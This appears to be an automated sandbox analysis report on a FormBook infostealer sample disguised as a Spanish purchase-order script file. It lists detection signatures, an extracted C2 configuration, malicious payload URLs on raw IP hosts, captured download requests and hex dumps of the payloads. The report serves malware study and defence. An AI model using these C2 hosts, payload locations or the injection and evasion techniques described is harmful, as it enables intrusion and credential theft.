Windows Analysis Report
NUEVA ORDEN DE COMPRA 80107.wsf

Overview

General Information

Sample Name: NUEVA ORDEN DE COMPRA 80107.wsf
Analysis ID: 635408
MD5: f9c710eee0ec4b46dfb370e5e2280c36
SHA1: c5b21cdd87ec4c5f8349747ecab5963b40556081
SHA256: 02cda7e8e87599f480515b611d57653429825d45dbfd2bcee0b9f1ea8e845fc6
Tags: FormbookwsfXloader
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Yara detected FormBook
Malicious sample detected (through community Yara rule)
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Writes to foreign memory regions
Downloads files with wrong headers with respect to MIME Content-Type
Wscript starts Powershell (via cmd or directly)
Suspicious powershell command line found
Performs DNS queries to domains with low reputation
Injects a PE file into a foreign processes
Yara detected Generic Downloader
Queues an APC in another process (thread injection)
Deletes itself after installation
Tries to detect virtualization through RDTSC time measurements
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
Contains functionality to call native functions
HTTP GET or POST without a user agent
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Java / VBScript file with very long strings (likely obfuscated code)
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Creates a start menu entry (Start Menu\Programs\Startup)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality for read data from the clipboard

Classification

AV Detection
barindex
Found malware configuration
Source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.hibikaiteki.com/s4ig/"], "decoy": ["60carrst-th15.com", "suapeleemprimeirolugar.com", "fairble.com", "7890136.com", "toastingthetunnos.com", "znetonline.net", "ginamora.com", "salazarcomunicacion.com", "acesso-livre-mercado.com", "nancykmorrison.store", "amazonwisely.com", "dannymarkphotography.com", "tenlog029.xyz", "quickfinderplus.online", "abdomenpkluwk.xyz", "portraypsdbmv.top", "arst4you.com", "doublehartpress.com", "deadsdradqueer.com", "salvaescalerasarnet.com", "givingisnotagiven.com", "vellegallery.com", "rtva.top", "nexusbalance.com", "createurs-de-bijoux.com", "kellybavis.com", "giaohanggiaretetkiemhcm.com", "cukis-prakerja.xyz", "dbk3.com", "40dgj.xyz", "bikebrewandflights.com", "lovinlufkin.com", "redentor.digital", "rqgmarket.com", "kindofgoodsco.com", "tb25431.icu", "caui.top", "mercedesfbs4.com", "yadook.com", "rab-pas-vervallen.icu", "shref94.com", "chinafireratedglass.com", "driftwoodbeachclub.com", "mentication.com", "schedulekeymail.com", "cameraderie.photography", "promoapp12.com", "modart.xyz", "choicearticleto-readtoday.info", "prostitutkitambovasuck.info", "mgav21.xyz", "idreamtz.com", "keepcharged.online", "gobigmedia.net", "cookinkele.com", "99lottery.info", "atlantidepc.com", "univerdelacreation.com", "thuongmainongnghiep.com", "thulasiabc.com", "sushifactoryamphawa.com", "emprendedor-virtual.com", "3laaaldin.com", "madisonboles.com"]}
Yara detected FormBook
Source: Yara match File source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.477642007.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: http://www.acesso-livre-mercado.com/s4ig/www.40dgj.xyz Avira URL Cloud: Label: malware
Source: http://www.acesso-livre-mercado.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://www.shref94.com/s4ig/www.deadsdradqueer.com Avira URL Cloud: Label: malware
Source: http://www.mentication.com/s4ig/www.prostitutkitambovasuck.info Avira URL Cloud: Label: malware
Source: http://www.shref94.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://www.prostitutkitambovasuck.info/s4ig/TL Avira URL Cloud: Label: malware
Source: http://www.caui.top/s4ig/www.giaohanggiaretetkiemhcm.com Avira URL Cloud: Label: phishing
Source: http://www.createurs-de-bijoux.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://www.prostitutkitambovasuck.info/s4ig/ Avira URL Cloud: Label: malware
Source: www.hibikaiteki.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://20.106.232.4/rumpe/26-05-2022-StartUp.pdf Avira URL Cloud: Label: malware
Source: http://www.caui.top/s4ig/ Avira URL Cloud: Label: phishing
Source: http://www.hibikaiteki.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://www.hibikaiteki.com/s4ig/www.caui.top Avira URL Cloud: Label: malware
Source: http://www.createurs-de-bijoux.com/s4ig/www.fairble.com Avira URL Cloud: Label: malware
Source: http://www.giaohanggiaretetkiemhcm.com/s4ig/www.mentication.com Avira URL Cloud: Label: malware
Source: http://www.mentication.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://20.106.232.4/dll/26-05-2022-StartUp.pdf Avira URL Cloud: Label: malware
Source: http://www.giaohanggiaretetkiemhcm.com/s4ig/ Avira URL Cloud: Label: malware
Source: http://20.106.232.4 Avira URL Cloud: Label: malware
Antivirus or Machine Learning detection for unpacked file
Source: 15.2.RegAsm.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.RegAsm.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.RegAsm.exe.400000.2.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 15.0.RegAsm.exe.400000.1.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: Binary string: RegAsm.pdb source: explorer.exe, 00000006.00000000.614677532.00000000029E7000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: RegAsm.exe, 0000000F.00000003.425165861.0000000002754000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: WAUgLeAhDG.pdb source: powershell.exe, 0000000C.00000002.436703755.00000181B4EB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.451254825.00000181CD3D0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RegAsm.exe, RegAsm.exe, 0000000F.00000003.425165861.0000000002754000.00000004.00000800.00020000.00000000.sdmp, WWAHost.exe
Source: Binary string: RegAsm.pdb4 source: explorer.exe, 00000006.00000000.614677532.00000000029E7000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: WAUgLeAhDG.pdbH|^| P|_CorDllMainmscoree.dll source: powershell.exe, 0000000C.00000002.436703755.00000181B4EB9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.451254825.00000181CD3D0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: ddscfIvqgW.pdb source: powershell.exe, 0000000C.00000002.436356861.00000181B4DB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.451218272.00000181CCFB0000.00000004.08000000.00040000.00000000.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then pop edi 15_2_00415B28
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 4x nop then pop edi 27_2_03225B28

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 199.34.228.47 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.sushifactoryamphawa.com
Source: C:\Windows\explorer.exe Network Connect: 54.203.72.218 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 91.195.240.103 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.choicearticleto-readtoday.info
Source: C:\Windows\explorer.exe Domain query: www.mgav21.xyz
Source: C:\Windows\explorer.exe Domain query: www.nexusbalance.com
Source: C:\Windows\explorer.exe Network Connect: 45.128.51.66 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2025011 ET TROJAN Powershell commands sent B64 2 20.106.232.4:80 -> 192.168.2.6:49769
Downloads files with wrong headers with respect to MIME Content-Type
Source: http Bad PDF prefix: HTTP/1.1 200 OK Date: Fri, 27 May 2022 19:15:48 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.28 Last-Modified: Thu, 26 May 2022 14:26:51 GMT ETag: "3aac-5dfeafb144fa1" Accept-Ranges: bytes Content-Length: 15020 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 43 34 51 4e 70 41 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 56 41 41 41 43 51 41 41 41 41 47 41 41 41 41 41 41 41 41 72 6b 49 41 41 41 41 67 41 41 41 41 59 41 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 41 41 47 41 41 41 41 41 41 41 41 41 41 43 67 41 41 41 41 41 67 41 41 41 41 41 41 41 41 4d 41 59 49 55 41 41 42 41 41 41 42 41 41 41 41 41 41 45 41 41 41 45 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 47 42 43 41 41 42 4c 41 41 41 41 41 47 41 41 41 4d 41 44 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 41 77 41 41 41 41 63 51 67 41 41 48 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 49 41 41 41 43 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 43 41 41 41 45 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 35 30 5a 58 68 30 41 41 41 41 74 43 49 41 41 41 41 67 41 41 41 41 4a 41 41 41 41 41 49 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 41 41 41 47 41 75 63 6e 4e 79 59 77 41 41 41 4d 41 44 41 41 41 41 59 41 41 41 41 41 51 41 41 41 41 6d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 41 41 41 42 41 4c 6e 4a 6c 62 47 39 6a 41 41 41 4d 41 41 41 41 41 49 41 41 41 41 41 43 41 41 41 41 4b 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 51 41 41 41 51 67 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 43 51 51 67 41 41 41 41 41 41 41 45 67 41 41 41 41 43 41 41 55 41 58 43 51 41 41 41 67 64 41 41 41 44 41 41 41 41 41 41 41 41 41 47 52 42 41 41 43 34 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 34 43 4b 41 45 41 41 41 6f 71 48 67 49 6f 41 67 41 41 43 69 71 6d 63 77 4d 41 41 41 71 41 41 51 41 41 42 48 4d 45 41 41 41 4b 67 41 49 41 41 41 52 7a 42 51 41 41 43 6f 41 44 41 41 41 45 63 77 59 41 41 41 71 41 42 41 41 41 42 43 6f 41 41 43 35 2b 41 51 41 41 42 47 38 48 41 41 41 4b 4b 69 35 2b 41 67 41 41 42 47 3
Source: http Bad PDF prefix: HTTP/1.1 200 OK Date: Fri, 27 May 2022 19:15:50 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.28 Last-Modified: Thu, 26 May 2022 14:25:11 GMT ETag: "1a580-5dfeaf520524a" Accept-Ranges: bytes Content-Length: 107904 Content-Type: application/pdf Data Raw: e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91 e2 99 ac e2 9c a6 e2 96 91
Performs DNS queries to domains with low reputation
Source: C:\Windows\explorer.exe DNS query: www.mgav21.xyz
Yara detected Generic Downloader
Source: Yara match File source: 12.2.powershell.exe.181ccfb0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.181b4def050.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.powershell.exe.181b586e7e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.451218272.00000181CCFB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.hibikaiteki.com/s4ig/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /dll/26-05-2022-StartUp.pdf HTTP/1.1Host: 20.106.232.4Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /rumpe/26-05-2022-StartUp.pdf HTTP/1.1Host: 20.106.232.4
Source: global traffic HTTP traffic detected: GET /tsdfguhijk.txt HTTP/1.1Host: 2.56.57.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=cD7SGqgsMdn1qG9AyDMlGxGbikkTJ3e+SLNAYG8XHeGes8xhGajuA9PSV6Vq4uulpQsNka3DRA== HTTP/1.1Host: www.nexusbalance.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /s4ig/?0tx=EE1KxreShStuWGRfOzXQivmJYb01nsHN4Y+USZVKUNF8o5M6FFhEbiUBXOrRFrwbnBV3ymr95w==&CTM8q=6lUH4xyXELQ8-0r HTTP/1.1Host: www.choicearticleto-readtoday.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=OUASG+zKIyPgsbPq7aByYUb53Y7vFTrhhhVYwgCqKyQGNMMvVk3uDgUSApaDProA7A9idTtJxA== HTTP/1.1Host: www.sushifactoryamphawa.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /s4ig/?0tx=dCXC+2ZT0QRaPMB/1bkCzyFCQOsWt/uhEcdMypxrEdi7eXd+jvTokAesL3IOP6QRIKOYlLryUQ==&CTM8q=6lUH4xyXELQ8-0r HTTP/1.1Host: www.mgav21.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /daveCrpted.jpg HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: 2.56.57.22Connection: Keep-Alive
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressContent-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Fri, 27 May 2022 19:18:41 GMTConnection: closeServer: lighttpd/1.4.54Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: unknown TCP traffic detected without corresponding DNS query: 2.56.57.22
Source: powershell.exe, 00000001.00000002.401894286.000001FD1C2BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.5
Source: powershell.exe, 00000001.00000002.401894286.000001FD1C2BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.396098842.000001FD1B781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22
Source: powershell.exe, 00000001.00000002.402117178.000001FD1C2E7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/daveCrpt
Source: powershell.exe, 00000001.00000002.402117178.000001FD1C2E7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/daveCrpted
Source: powershell.exe, 00000001.00000002.396098842.000001FD1B781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.401268481.000001FD1C1F3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/daveCrpted.jpg
Source: powershell.exe, 00000001.00000002.396098842.000001FD1B781000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/daveCrpted.jpg0y
Source: powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/ts
Source: powershell.exe, 0000000C.00000002.436356861.00000181B4DB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22/tsdfguhijk.txt
Source: powershell.exe, 0000000C.00000002.436356861.00000181B4DB6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://2.56.57.22x
Source: powershell.exe, 0000000C.00000002.440905719.00000181B57B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.435361690.00000181B4C21000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://20.106.232.4
Source: powershell.exe, 0000000C.00000003.411833366.00000181CCBB2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000003.412180807.00000181CCC0C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://20.106.232.4/dll/26-05-2022-StartUp.pdf
Source: powershell.exe, 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://20.106.232.4/rumpe/26-05-2022-StartUp.pdf
